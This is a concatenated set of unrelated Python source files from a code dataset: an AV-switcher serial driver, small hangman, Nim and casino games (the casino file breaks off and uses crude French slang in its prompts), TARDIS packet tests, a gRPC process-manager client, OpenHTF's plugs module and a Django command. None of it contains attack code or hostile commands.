\"{}\"'.\n format(cmd.decode().rstrip(), response.decode().rstrip().replace('\\r\\n', ' | ')))\n\n if not response:\n raise IOError('__try_cmd(): Communication error: empty response')\n elif re.search(self.Error.CMD_UNAVAILABLE.value, response):\n return self.Error.CMD_UNAVAILABLE\n elif re.search(self.Error.PARAM_OUT_OF_RANGE.value, response):\n return self.Error.PARAM_OUT_OF_RANGE\n elif re.search(self.Error.SYNTAX.value, response):\n return self.Error.SYNTAX\n else:\n return response\n\n def select_input(self, input_name='1', output_name='ALL'):\n \"\"\"Select an input to route to the specified output\n\n Tries several Protocol 3000 routing/switching commands in order until one succeeds:\n #ROUTE, #AV, or #VID.\n\n :param str input_name: Name of input to route.\n Default is '1'.\n :param str output_name: Name of output to route to.\n Default is 'ALL'.\n :rtype: str\n :returns: Name of input selected if no errors are reported. Name will be the one\n provided in the configuration if present there, otherwise it will be the driver\n default name for the input terminal.\n \"\"\"\n try:\n if input_name not in self.inputs:\n raise KeyError(\"Error: No input named '{}'\".format(input_name))\n if output_name not in self.outputs:\n raise KeyError(\"Error: No output named '{}'\".format(output_name))\n\n in_value = self.inputs[input_name]\n out_value = self.outputs[output_name]\n\n # AV I placed before VID because if a device has separate routable audio & video,\n # we'd prefer to route them both together here. Handling them separately is\n # way too complicated and beyond the scope of what we're trying to do.\n # Since none of our switchers appear to support #AV, it means an extra half-second\n # delay in our app, but oh well.\n try_in_order = [\n '#ROUTE 1,{},{}\\r'.format(out_value, in_value),\n '#AV {}>{}\\r'.format(in_value, out_value),\n '#VID {}>{}\\r'.format(in_value, out_value)\n ]\n\n self.open_connection()\n self.comms.reset_input_buffer()\n\n for cmd in try_in_order:\n response = self.__try_cmd(cmd.encode())\n logger.debug(\"select_input(): response: '{}'\".format(response))\n if response == self.Error.CMD_UNAVAILABLE:\n # try the next one\n continue\n elif response == self.Error.PARAM_OUT_OF_RANGE:\n raise OutOfRangeError('Error: Input or output number out of range - '\n 'input={}, output={}'.format(in_value, out_value))\n elif response == self.Error.SYNTAX:\n raise BadCommandError('Error: Bad Protocol 3000 syntax: {}'.format(cmd))\n elif b'ERR' in response:\n raise Exception('An unknown error was reported by the switcher: {}'.\n format(response.decode()))\n else:\n # no errors reported, our command probably worked\n return key_for_value(self.inputs, self.inputs[input_name])\n\n except Exception as e:\n logger.error('select_input(): Exception occurred: {}'.format(e.args), exc_info=True)\n raise e\n finally:\n self.close_connection()\n\n def get_input_status(self):\n \"\"\"Get the input(s) assigned to our output(s)\n\n This tries to detect which inputs are routed to which outputs using a few different query commands.\n Returns a list of input names. If the switcher only has a single output, the list will contain\n a single str: the name of the input routed to that output.\n\n :rtype: list[str]\n :returns: List of names of inputs corresponding to the current routing assignments\n for each output. The names will be the ones provided in the configuration if\n present there, otherwise they will be the driver default input terminal names.\n \"\"\"\n try_in_order = [\n b'#ROUTE? 1,*\\r',\n b'#AV? *\\r',\n b'#VID? *\\r',\n b'#AV? 1\\r',\n b'#VID? 1\\r'\n ]\n\n try:\n self.open_connection()\n self.comms.reset_input_buffer()\n\n for cmd in try_in_order:\n response = self.__try_cmd(cmd)\n logger.debug(\"input_status: response: '{}'\".format(response))\n if response == self.Error.CMD_UNAVAILABLE:\n continue\n elif response == self.Error.PARAM_OUT_OF_RANGE:\n raise OutOfRangeError('Error: Parameter out of range: {}'.format(cmd.decode()))\n elif response == self.Error.SYNTAX:\n raise BadCommandError('Error: Bad Protocol 3000 syntax: {}'.format(cmd.decode()))\n elif b'ERR' in response:\n raise Exception('An unknown error was reported by the switcher: {}'.\n format(response.decode()))\n else:\n if b'ROUTE' in response:\n # If '#ROUTE? 1,*' worked, the result should look like:\n # b'~01@ROUTE 1,1,1\\r\\n~01@ROUTE 1,2,1\\r\\n'\n # ^ ^ We want the 3rd number.\n routes = response.split(b'\\r\\n')\n inputs = []\n for route in routes:\n match = re.search(rb'~\\d+@ROUTE\\s+\\d+,\\d+,(\\d+)', route)\n if match:\n input_name = key_for_value(self.inputs, match.group(1).decode())\n inputs.append(input_name)\n return inputs\n elif b'VID' in response or b'AV' in response:\n # If '#VID? *' worked, the result should look like:\n # b'~01@VID 1>1,1>2\\r\\n'\n # ^ ^ We want the 1st number.\n # (I assume #AV is similar, though our switchers don't support it)\n match = re.search(rb'~\\d+@(VID|AV)\\s+([0-9>,]+)\\r\\n', response)\n if match:\n routing_info = match.group(2)\n routes = routing_info.split(b',')\n inputs = []\n for route in routes:\n route_match = re.search(rb'(\\d+)>\\d+', route)\n if route_match:\n input_name = key_for_value(self.inputs, route_match.group(1).decode())\n inputs.append(input_name)\n return inputs\n\n except Exception as e:\n logger.error('get_input_status(): Exception occurred: {}'.format(e.args), exc_info=True)\n return None\n\n finally:\n self.close_connection()\n\n @property\n def input_status(self):\n return self.get_input_status()\n\n def power_on(self):\n \"\"\"Unsupported\n \"\"\"\n logger.debug('power_on(): operation not supported with this device')\n return None\n\n def power_off(self):\n \"\"\"Unsupported\n \"\"\"\n logger.debug('power_off(): operation not supported with this device')\n return None\n\n @property\n def power_status(self):\n \"\"\"Unsupported\n \"\"\"\n logger.debug('power_status: operation not supported with this device')\n return None\n\n @property\n def av_mute(self):\n logger.warning('av_mute: Not implemented')\n return False\n","sub_path":"avctls/drivers/switcher/kramerp3000.py","file_name":"kramerp3000.py","file_ext":"py","file_size_in_byte":18947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"308670699","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 11 16:38:14 2019\n\n@author: Puneet\n\"\"\"\nimport random\nfruit_list = [\"apple\",\"banana\",\"pears\",\"watermellon\",\"pineapple\",\"grapes\",\"orange\"]\nitem = random.choice(fruit_list)\nitem_list = list(item)\nprint(item_list)\nprint(\"enter any character of your choice\")\nfor i in range(0,len(item)+3):\n if item_list != []:\n char = input(\"\")\n if char in item_list:\n item_list.remove(char)\n elif char not in item_list: \n print(\"wrong character\")\n else:\n break\n\nif item_list == []:\n print(\"win\")\nelse:\n print(\"lose\")\n \n ","sub_path":"day12/hangman_game/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"101621334","text":"#Nim Game -May Jue -Eleni Lazaridou\r\nfrom tkinter import *\r\nimport tkinter.messagebox\r\nimport random\r\n\r\n\r\nclass Game:\r\n def __init__(self, screen):\r\n self.frame = Frame(screen)\r\n self.frame.grid()\r\n\r\n # print the question\r\n self.message = NONE\r\n\r\n # Box for input\r\n self.answer = Entry(self.frame)\r\n self.answer.grid(row=1, column=1)\r\n # where answer are stored(set)\r\n self.printingmessage = StringVar()\r\n self.label = NONE\r\n\r\n # submit button\r\n self.showbutton = NONE\r\n self.state = \"name\"\r\n self.total = NONE\r\n self.user_pick = NONE\r\n self.comp_pick = NONE\r\n #\r\n self.quitbutton = Button(self.frame, text=\"quit\", command=self.frame.quit)\r\n self.quitbutton.grid(row=1, column=4)\r\n\r\n def SetMessage(self, print=\"\"):\r\n self.message.config(text=print)\r\n\r\n\r\n def Create_message(self, print=\" \"):\r\n \"\"\"\r\n Print out whatever massage\r\n \"\"\"\r\n self.message = Label(self.frame, text=print)\r\n self.message.grid(row=1)\r\n\r\n def button1(self):\r\n \"\"\"\r\n Create the submit button on screen\r\n \"\"\"\r\n\r\n # call function\r\n self.showbutton = Button(self.frame, text=\"submit\", command=self.AskAnswer)\r\n self.showbutton.grid(row=1, column=2)\r\n\r\n def AskAnswer(self):\r\n \"\"\"\r\n When button is pressed, get the item from the textbox\r\n \"\"\"\r\n\r\n if self.state == \"name\":\r\n\r\n txt = self.answer.get() # get item from user input box\r\n M = \"Hi, {0}! Welcome to the game of nim!\".format(txt) # create a massage with input\r\n self.printingmessage.set(M) # printingmessage set to message\r\n\r\n self.SetMessage(\"Choose a number greater than 14 to start with, what number would you like?\")\r\n self.state = \"starter number\"\r\n self.answer.delete(0, 'end')\r\n\r\n elif self.state == \"starter number\":\r\n txt = self.answer.get() # get item from user input box\r\n num = 0\r\n def isValid(num):\r\n if num <= 14:\r\n return False\r\n return True\r\n\r\n try:\r\n num = int(txt)\r\n if not isValid(num):\r\n raise Exception(\"That's not greater than 15, try a different number\")\r\n except:\r\n M = \"That's not a valid number, please enter a number greater than 14\"\r\n self.printingmessage.set(M)\r\n self.answer.delete(0, 'end')\r\n return\r\n self.total = int(txt)\r\n M = \"You choose number {0}\".format(txt) # create a massage with input\r\n self.printingmessage.set(M) # printingmessage set to message\r\n\r\n self.SetMessage(\"Choose a number 1-4 to take away\")\r\n self.state = \"number\"\r\n self.answer.delete(0, 'end')\r\n\r\n elif self.state == \"number\":\r\n txt = self.answer.get() # get item from user input box\r\n num = 0\r\n def isValid(num):\r\n if num <= 0 or num > 4:\r\n return False\r\n return True\r\n\r\n try:\r\n num = int(txt)\r\n if not isValid(num):\r\n raise Exception(\"not valid number\")\r\n except:\r\n M = \"That's not a valid number, enter a number between 1-4\"\r\n self.answer.delete(0, 'end')\r\n return\r\n self.user_pick = int(txt)\r\n M = \"You choose number {0}\".format(txt) # create a massage with input\r\n self.printingmessage.set(M) # printingmessage set to message\r\n\r\n self.subtract() # print subtrated number\r\n\r\n\r\n\r\n self.SetMessage(\"Choose a number 1-4 to take away\")\r\n self.state = \"number\"\r\n self.answer.delete(0, 'end')\r\n\r\n def subtract(self):\r\n \"\"\"\r\n subtract the user number from the total number\r\n \"\"\"\r\n self.total = self.total - self.user_pick\r\n sub = int(self.total)\r\n if sub == 0:\r\n self.winner = tkinter.messagebox.showinfo(\"Winner\", \"Congratulation, you've won.\")\r\n if self.winner == \"ok\":\r\n self.frame.quit()\r\n\r\n if self.total > 0:\r\n if self.total % 5 == 0:\r\n self.comp_pick = random.randint(1, 4)\r\n else:\r\n self.comp_pick = self.total % 5\r\n comp = str(self.comp_pick)\r\n\r\n self.total = self.total - self.comp_pick\r\n tot = str(self.total)\r\n if tot == \"0\":\r\n self.winner = tkinter.messagebox.showinfo(\"Winner\", \"Oh no, the computer won.\")\r\n if self.winner == \"ok\":\r\n self.frame.quit()\r\n\r\n c = \"There are {0} left, computer picks {1}. Now there's {2} left\".format(sub, comp, tot)\r\n self.printingmessage.set(c)\r\n\r\n def compturns(self):\r\n \"\"\"\r\n computer choose number\r\n \"\"\"\r\n print(self.total)\r\n if self.total > 0:\r\n if self.total % 5 == 0:\r\n self.comp_pick = random.randint(1, 4)\r\n else:\r\n self.comp_pick = self.total % 5\r\n comp = str(self.comp_pick)\r\n c = \"computer picks {0}\".format(comp)\r\n self.printingmessage.set(c)\r\n\r\n def PrintAnswer(self, response=\"\"):\r\n \"\"\"\r\n When function is called, print message on screen\r\n \"\"\"\r\n self.printingmessage.set(response) # get the printing massage\r\n self.label = Label(self.frame, textvariable=self.printingmessage) # create label to print\r\n self.label.grid(row=0)\r\n\r\n\r\ndef main():\r\n screen = Tk()\r\n screen.minsize(width=700, height=100)\r\n screen.maxsize(width=700, height=100)\r\n\r\n G = Game(screen) # call class\r\n G.Create_message(\"what is your name?\")\r\n G.button1()\r\n\r\n G.PrintAnswer() # call function to print\r\n\r\n screen.mainloop()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":6071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"510571116","text":"import os\nimport pytest\nimport numpy as np\nimport pandas as pd\nimport tardis.montecarlo.montecarlo_numba.r_packet as r_packet\nimport tardis.montecarlo.montecarlo_numba.vpacket as vpacket\nimport tardis.montecarlo.montecarlo_configuration as mc\nimport tardis.montecarlo.montecarlo_numba.numba_interface as numba_interface\nfrom tardis import constants as const\nfrom tardis.montecarlo.montecarlo_numba.numba_interface import Estimators\nfrom tardis.montecarlo.montecarlo_numba import macro_atom\n\nfrom tardis.montecarlo.montecarlo_numba.frame_transformations import (\n get_doppler_factor,\n)\n\nC_SPEED_OF_LIGHT = const.c.to(\"cm/s\").value\n\nimport numpy.testing as npt\n\n\n@pytest.fixture(scope=\"function\")\ndef v_packet():\n return vpacket.VPacket(\n r=7.5e14,\n nu=4e15,\n mu=0.3,\n energy=0.9,\n current_shell_id=0,\n next_line_id=0,\n index=0,\n is_close_line=0,\n )\n\n\ndef v_packet_initialize_line_id(v_packet, numba_plasma, numba_model):\n inverse_line_list_nu = numba_plasma.line_list_nu[::-1]\n doppler_factor = get_doppler_factor(\n v_packet.r, v_packet.mu, numba_model.time_explosion\n )\n comov_nu = v_packet.nu * doppler_factor\n next_line_id = len(numba_plasma.line_list_nu) - np.searchsorted(\n inverse_line_list_nu, comov_nu\n )\n v_packet.next_line_id = next_line_id\n\n\ndef test_trace_vpacket_within_shell(\n v_packet, verysimple_numba_model, verysimple_numba_plasma\n):\n # Give the vpacket a reasonable line ID\n v_packet_initialize_line_id(\n v_packet, verysimple_numba_plasma, verysimple_numba_model\n )\n\n (\n tau_trace_combined,\n distance_boundary,\n delta_shell,\n ) = vpacket.trace_vpacket_within_shell(\n v_packet, verysimple_numba_model, verysimple_numba_plasma\n )\n\n npt.assert_almost_equal(tau_trace_combined, 8164850.891288479)\n npt.assert_almost_equal(distance_boundary, 843684056256104.1)\n assert delta_shell == 1\n\n\ndef test_trace_vpacket(\n v_packet, verysimple_numba_model, verysimple_numba_plasma\n):\n # Set seed because of RNG in trace_vpacket\n np.random.seed(1)\n\n # Give the vpacket a reasonable line ID\n v_packet_initialize_line_id(\n v_packet, verysimple_numba_plasma, verysimple_numba_model\n )\n\n tau_trace_combined = vpacket.trace_vpacket(\n v_packet, verysimple_numba_model, verysimple_numba_plasma\n )\n\n npt.assert_almost_equal(tau_trace_combined, 8164850.891288479)\n npt.assert_almost_equal(v_packet.r, 1286064000000000.0)\n npt.assert_almost_equal(v_packet.nu, 4.0e15)\n npt.assert_almost_equal(v_packet.energy, 0.0)\n npt.assert_almost_equal(v_packet.mu, 0.8309726858508629)\n assert v_packet.next_line_id == 2773\n assert v_packet.is_close_line == False\n assert v_packet.current_shell_id == 1\n\n\n# NEEDS TO TEST VPACKET COLLECTION OVERFLOW\n@pytest.mark.xfail(reason=\"Needs to be implemented\")\ndef test_trace_vpacket_volley(\n packet,\n verysimple_packet_collection,\n verysimple_3vpacket_collection,\n verysimple_numba_model,\n verysimple_numba_plasma,\n):\n # Set seed because of RNG in trace_vpacket\n np.random.seed(1)\n\n packet.initialize_line_id(verysimple_numba_plasma, verysimple_numba_model)\n\n vpacket.trace_vpacket_volley(\n packet,\n verysimple_3vpacket_collection,\n verysimple_numba_model,\n verysimple_numba_plasma,\n )\n\n\n@pytest.fixture(scope=\"function\")\ndef broken_packet():\n return vpacket.VPacket(\n r=1286064000000000.0,\n nu=1660428912896553.2,\n mu=0.4916053094346575,\n energy=2.474533071386993e-07,\n index=3,\n is_close_line=True,\n current_shell_id=0,\n next_line_id=5495,\n )\n\n\ndef test_trace_bad_vpacket(\n broken_packet, verysimple_numba_model, verysimple_numba_plasma\n):\n vpacket.trace_vpacket(\n broken_packet, verysimple_numba_model, verysimple_numba_plasma\n )\n","sub_path":"tardis/montecarlo/montecarlo_numba/tests/test_vpacket.py","file_name":"test_vpacket.py","file_ext":"py","file_size_in_byte":3917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"309913039","text":"import grpc\n\nimport rpc_pb2\nimport rpc_pb2_grpc\nfrom google.protobuf import empty_pb2\n\n\nclass ProcessManagerClient(object):\n def __init__(self, url):\n self.address = url\n self.channel = grpc.insecure_channel(url)\n self.stub = rpc_pb2_grpc.ProcessManagerServiceStub(self.channel)\n\n def process_create(self, name, binary, args, port_count=0, port_args=[]):\n if not name or not binary:\n raise Exception(\"missing parameter\")\n\n return self.stub.ProcessCreate(rpc_pb2.ProcessCreateRequest(\n spec=rpc_pb2.ProcessSpec(\n name=name, binary=binary,\n args=args, port_count=port_count, port_args=port_args,\n )\n ))\n\n def process_get(self, name):\n if not name:\n raise Exception(\"missing parameter\")\n\n return self.stub.ProcessGet(rpc_pb2.ProcessGetRequest(name=name))\n\n def process_list(self):\n return self.stub.ProcessList(rpc_pb2.ProcessListRequest()).processes\n\n def process_delete(self, name):\n if not name:\n raise Exception(\"missing parameter\")\n\n return self.stub.ProcessDelete(rpc_pb2.ProcessDeleteRequest(name=name))\n\n def process_replace(self, name, binary, args, port_count=1,\n port_args=[\"--listen,localhost:\"],\n terminate_signal=\"SIGHUP\"):\n if not name:\n raise Exception(\"missing parameter\")\n\n return self.stub.ProcessReplace(rpc_pb2.ProcessReplaceRequest(\n spec=rpc_pb2.ProcessSpec(\n name=name, binary=binary,\n args=args, port_count=port_count, port_args=port_args,\n ),\n terminate_signal=terminate_signal,\n ))\n","sub_path":"integration/rpc/instance_manager/process_manager_client.py","file_name":"process_manager_client.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"135260524","text":"# Copyright 2014 Google Inc. All Rights Reserved.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\n\"\"\"The plugs module provides boilerplate for accessing hardware.\n\nMost tests require interaction with external hardware. This module provides\nframework support for such interfaces, allowing for automatic setup and\nteardown of the objects.\n\nTest phases can be decorated as using Plug objects, which then get passed\ninto the test via parameters. Plugs are all instantiated at the\nbeginning of a test, and all plugs' TearDown() methods are called at the\nend of a test. It's up to the Plug implementation to do any sort of\nis-ready check.\n\nExample implementation of a plug:\n\n from openhtf import plugs\n\n class ExamplePlug(plugs.BasePlug):\n '''A Plug that does nothing.'''\n\n def __init__(self):\n print 'Instantiating %s!' % type(self).__name__\n\n def DoSomething(self):\n print '%s doing something!' % type(self).__name__\n\n def TearDown(self):\n # This method is optional. If implemented, it will be called at the end\n # of the test.\n print 'Tearing down %s!' % type(self).__name__\n\nExample usage of the above plug:\n\n from openhtf import plugs\n from my_custom_plugs_package import example\n\n @plugs.requires(example=example.ExamplePlug)\n def TestPhase(test, example):\n print 'Test phase started!'\n example.DoSomething()\n print 'Test phase done!'\n\nPutting all this together, when the test is run (with just that phase), you\nwould see the output (with other framework logs before and after):\n\n Instantiating ExamplePlug!\n Test phase started!\n ExamplePlug doing something!\n Test phase done!\n Tearing down ExamplePlug!\n\nPlugs will often need to use configuration values. The recommended way\nof doing this is with the conf.InjectPositionalArgs decorator:\n\n from openhtf import plugs\n from openhtf import conf\n\n class ExamplePlug(plugs.BasePlug):\n '''A plug that requires some configuration.'''\n\n @conf.InjectPositionalArgs\n def __init__(self, my_config_key)\n self._my_config = my_config_key\n\nNote that Plug constructors shouldn't take any other arguments; the\nframework won't pass any, so you'll get a TypeError. Any values that are only\nknown at run time must be either passed into other methods or set via explicit\nsetter methods. See openhtf/conf.py for details, but with the above\nexample, you would also need a configuration .yaml file with something like:\n\n my_config_key: my_config_value\n\nThis will result in the ExamplePlug being constructed with\nself._my_config having a value of 'my_config_value'.\n\"\"\"\n\nimport functools\nimport logging\n\n_LOG = logging.getLogger(__name__)\n\nclass PlugOverrideError(Exception):\n \"\"\"Raised when a plug would be overridden by a kwarg.\"\"\"\n\n\nclass DuplicatePlugError(Exception):\n \"\"\"Raised when the same plug is required multiple times on a phase.\"\"\"\n\n\nclass InvalidPlugError(Exception):\n \"\"\"Raised when a plug does not subclass BasePlug.\"\"\"\n\n\nclass BasePlug(object): # pylint: disable=too-few-public-methods\n \"\"\"All plug types must subclass this type.\"\"\"\n\n def TearDown(self):\n \"\"\"This is the only method the framework itself will explicitly call.\"\"\"\n pass\n\n\ndef requires(update_kwargs=True, **plugs):\n \"\"\"Creates a decorator that passes in plugs when invoked.\n\n This function returns a decorator for a function that will replace positional\n arguments to that function with the plugs specified. See the module\n docstring for details and examples. Note that the decorator returned can\n only be used on test phases because it expects the first positional argument\n to the underyling function to be a phase_data.PhaseData object.\n\n Note this decorator does not work with class or bound methods, but does work\n with @staticmethod.\n\n Args:\n **plugs: Dict mapping name to Pl.ug type.\n\n Returns:\n A decorator that wraps a test Phase.\n\n Raises:\n InvalidPlugError: If a type is provided that is not a subclass of\n BasePlug.\n \"\"\"\n for plug in plugs.itervalues():\n if not issubclass(plug, BasePlug):\n raise InvalidPlugError(\n 'Plug %s is not a subclass of plugs.BasePlug' %\n plug)\n\n def result(func):\n \"\"\"Wrap the given function and return the wrapper.\n\n Args:\n func: The function to wrap.\n\n Returns:\n The wrapper to call. When called, it will invoke the wrapped function,\n passing plugs as keyword args.\n\n Raises:\n DuplicatePlugsError: If a plug name is declared twice for the\n same function.\n \"\"\"\n\n @functools.wraps(func)\n def wrapper(phase_data, *args, **kwargs):\n \"\"\"The wrapper for the decorator to return.\"\"\"\n if update_kwargs:\n overridden = frozenset(kwargs) & frozenset(plugs)\n if overridden:\n raise PlugOverrideError(\n 'Plugs %s overridden by provided arguments %s' %\n (overridden, kwargs))\n kwargs.update({plug: phase_data.plugs[plug] for\n plug in plugs})\n\n # Only pass phase_data through to phases, everything else doesn't need it.\n if getattr(func, 'is_phase_func', False):\n return func(phase_data, *args, **kwargs)\n return func(*args, **kwargs)\n\n wrapper.plugs = getattr(func, 'plugs', {})\n duplicates = frozenset(wrapper.plugs) & frozenset(plugs)\n if duplicates:\n raise DuplicatePlugError(\n 'Plugs %s required multiple times on phase %s' % (\n duplicates, func))\n wrapper.plugs.update(plugs)\n # functools.wraps doesn't explicitly save this anywhere, and we need it to\n # pull out the source lines later.\n wrapper.wraps = func\n return wrapper\n return result\n\n\nclass PlugManager(object):\n \"\"\"Class to manage the lifetimes of plugs.\n\n This class handles instantiation of plugs at test start and calling\n TearDown() on all plugs when the test completes. It is used by\n the executor, and should not be instantiated outside the framework itself.\n\n Note this class is not thread-safe. It should only ever be used by the\n main framework thread anyway. It should also not be instantiated directly.\n Instead, an instance should be obtained by calling InitializeFromTypes().\n\n Attributes:\n plugs: Dict mapping name to instantiated plug. Can only be\n accessed after calling InitializePlugs().\n \"\"\"\n\n @classmethod\n def InitializeFromTypes(cls, plug_type_map):\n \"\"\"Instantiate plugs so they can be accessed by test phases.\n\n Plug instances can be accessed via the plugs attribute, which\n is a dict mapping plug name to plug instance.\n\n Args:\n plug_type_map: Dict mapping plug name to type.\n\n Returns:\n An Initialized instance of PlugManager.\n \"\"\"\n plug_map = {}\n for plug, plug_type in plug_type_map.iteritems():\n _LOG.info('Instantiating %s for plug %s', plug_type, plug)\n try:\n plug_map[plug] = plug_type()\n except Exception: # pylint: disable=broad-except\n _LOG.exception('Exception instantiating %s for plug %s:',\n plug_type, plug)\n raise\n return cls(plug_map)\n\n def __init__(self, plug_map):\n \"\"\"Create a plug manager for the life of a test.\n\n Args:\n plug_map: Dict mapping plug name to instance.\n \"\"\"\n self.plug_map = plug_map\n\n def TearDownPlugs(self):\n \"\"\"Call TearDown() on all instantiated plugs.\n\n Note that InitializePlugs must have been called before calling\n this method, and InitializePlugs must be called again after calling\n this method if you want to access the plugs attribute again.\n\n Any exceptions in TearDown() methods are logged, but do not get raised\n by this method.\n \"\"\"\n for plug in self.plug_map.itervalues():\n try:\n plug.TearDown()\n except Exception: # pylint: disable=broad-except\n _LOG.warning('Exception calling TearDown on %s:', plug, exc_info=True)\n self.plug_map.clear()\n","sub_path":"openhtf/plugs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"182748425","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\nfrom goerr import err\n#from .gencharts import get_changes_events, get_last_run_q, get_events_q\n#from mqueue.models import MEvent\nfrom ...apps import GENERATORS, load_generator\n\n\nclass Command(BaseCommand):\n help = \"\"\n\n def add_arguments(self, parser):\n parser.add_argument('app', type=str)\n parser.add_argument('-q',\n dest=\"quiet\",\n action='store_true',\n default=False,\n help='Quiet mode: ex: -q',\n )\n parser.add_argument('-all',\n action='store_true',\n dest=\"all\",\n default=False,\n help='Update for all instances: ex: -all',\n )\n\n def handle(self, *args, **options):\n \"\"\"\n Run a generator\n \"\"\"\n app = options[\"app\"]\n quiet = int(options[\"quiet\"])\n #runall = int(options[\"all\"])\n subgenerator = None\n if \".\" in app:\n l = app.split(\".\")\n app = l[0]\n subgenerator = l[1]\n try:\n generator = GENERATORS[app]\n if subgenerator is not None:\n generator = load_generator(app, subgenerator)\n if generator is None:\n err.new(\"Subgenerator \" + subgenerator + \" not found\")\n err.trace()\n return\n except Exception as e:\n err.new(e, \"Generator not found\")\n err.report()\n err.throw()\n return\n if quiet > 0:\n print(\"Running generator\", app)\n try:\n generator()\n except Exception as e:\n err.new(e)\n \"\"\"\n try:\n last_run_q = get_last_run_q()\n except Exception:\n pass\n if runall == 0:\n try:\n events_q = get_events_q()\n except Exception as e:\n err.new(e)\n try:\n events_q = get_changes_events(events_q, last_run_q)\n except Exception as e:\n err.new(e)\n else:\n try:\n events_q = MEvent.objects.all()\n except Exception as e:\n err.new(e)\n try:\n generator(events=events_q)\n except Exception as e:\n err.new(e)\n \"\"\"\n if err.exists:\n if settings.DEBUG is True:\n err.throw()\n else:\n err.report()\n","sub_path":"chartflo/management/commands/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"567289379","text":"\"\"\"\r\nimportation de tous ce qu'il faut\r\n\"\"\"\r\nimport sys\r\nimport time\r\nfrom tkinter import messagebox\r\nfrom math import *\r\nimport os\r\nfrom random import randrange\r\nfrom math import ceil\r\nfrom tkinter import *\r\nfrom tkinter.messagebox import *\r\n\r\nclass fenetre():\r\n def __init__(self) :\r\n self.fenetre = Tk()\r\n canvas = Canvas(self.fenetre, width=2000, height=100)\r\n canvas.focus_set()\r\n canvas.bind(\"\", self.clavier)\r\n canvas.pack()\r\n label = Label(self.fenetre, text = \" cliques ici pour rentrer dans le casino fdp \")\r\n label.pack()\r\n Frame2 = Frame(self.fenetre, borderwidth=2)\r\n Frame2.pack(side=RIGHT, padx=200, pady=100)\r\n Bouton=Button(Frame2, text=\" ici fdp \", command=self.fenetre.destroy)\r\n Bouton.pack()\r\n self.fenetre.mainloop()\r\n def clavier(self, event) :\r\n touche=event.keysym\r\n if touche == \"Escape\":\r\n self.fenetre.destroy()\r\n def ctn(self) :\r\n self.fenetre.destroy()\r\n suite()\r\n\r\ns=fenetre()\r\n\r\n\r\nclass ProgressBar:\r\n\r\n \"\"\"\r\n Barre de progrssion\r\n \"\"\"\r\n\r\n def __init__(self, steps, maxbar=100, title='Chargement du programme'):\r\n if steps <= 0 or maxbar <= 0 or maxbar > 200:\r\n raise ValueError\r\n\r\n self.steps = steps\r\n self.maxbar = maxbar\r\n self.title = title\r\n\r\n self.perc = 0\r\n self._completed_steps = 0\r\n\r\n self.update(False)\r\n\r\n def update(self, increase=True):\r\n if increase:\r\n self._completed_steps += 0.5\r\n\r\n self.perc = floor(self._completed_steps / self.steps * 100)\r\n\r\n if self._completed_steps > self.steps:\r\n self._completed_steps = self.steps\r\n\r\n steps_bar = floor(self.perc / 100 * self.maxbar)\r\n\r\n if steps_bar == 0:\r\n visual_bar = self.maxbar * ' '\r\n else:\r\n visual_bar = (steps_bar - 1) * '=' + '>' + (self.maxbar - steps_bar) * ' '\r\n\r\n sys.stdout.write('\\r' + self.title + ' [' + visual_bar + '] ' + str(self.perc) + '%')\r\n sys.stdout.flush()\r\n\r\n\r\nif __name__ == '__main__':\r\n bar = ProgressBar(50)\r\n\r\n i = 0\r\n while bar.perc != 100:\r\n bar.update()\r\n time.sleep(0.05)\r\n\r\n i += 1\r\n\r\n\"\"\"\r\nMessage d'entrée\r\n\"\"\"\r\n\r\n\r\ntime.sleep(0.5)\r\n\r\nprint(\" Bienvenue dans le casino, réalisé par MAthéo BALESTER, Julien ASTRE, Dylan FOURNIER et Anthony DUALE\")\r\n\r\ntime.sleep(0.5)\r\n\r\nprint(\"Vous allez entrer dans le casino \")\r\n\r\ntime.sleep(1)\r\n\r\nclass ProgressBar:\r\n\r\n \"\"\"\r\n Barre de progrssion\r\n \"\"\"\r\n\r\n def __init__(self, steps, maxbar=100, title='Entrée dans le casino'):\r\n if steps <= 0 or maxbar <= 0 or maxbar > 200:\r\n raise ValueError\r\n\r\n self.steps = steps\r\n self.maxbar = maxbar\r\n self.title = title\r\n\r\n self.perc = 0\r\n self._completed_steps = 0\r\n\r\n self.update(False)\r\n\r\n def update(self, increase=True):\r\n if increase:\r\n self._completed_steps += 0.5\r\n\r\n self.perc = floor(self._completed_steps / self.steps * 100)\r\n\r\n if self._completed_steps > self.steps:\r\n self._completed_steps = self.steps\r\n\r\n steps_bar = floor(self.perc / 100 * self.maxbar)\r\n\r\n if steps_bar == 0:\r\n visual_bar = self.maxbar * ' '\r\n else:\r\n visual_bar = (steps_bar - 1) * '=' + '>' + (self.maxbar - steps_bar) * ' '\r\n\r\n sys.stdout.write('\\r' + self.title + ' [' + visual_bar + '] ' + str(self.perc) + '%')\r\n sys.stdout.flush()\r\n\r\n\r\nif __name__ == '__main__':\r\n bar = ProgressBar(50)\r\n\r\n i = 0\r\n while bar.perc != 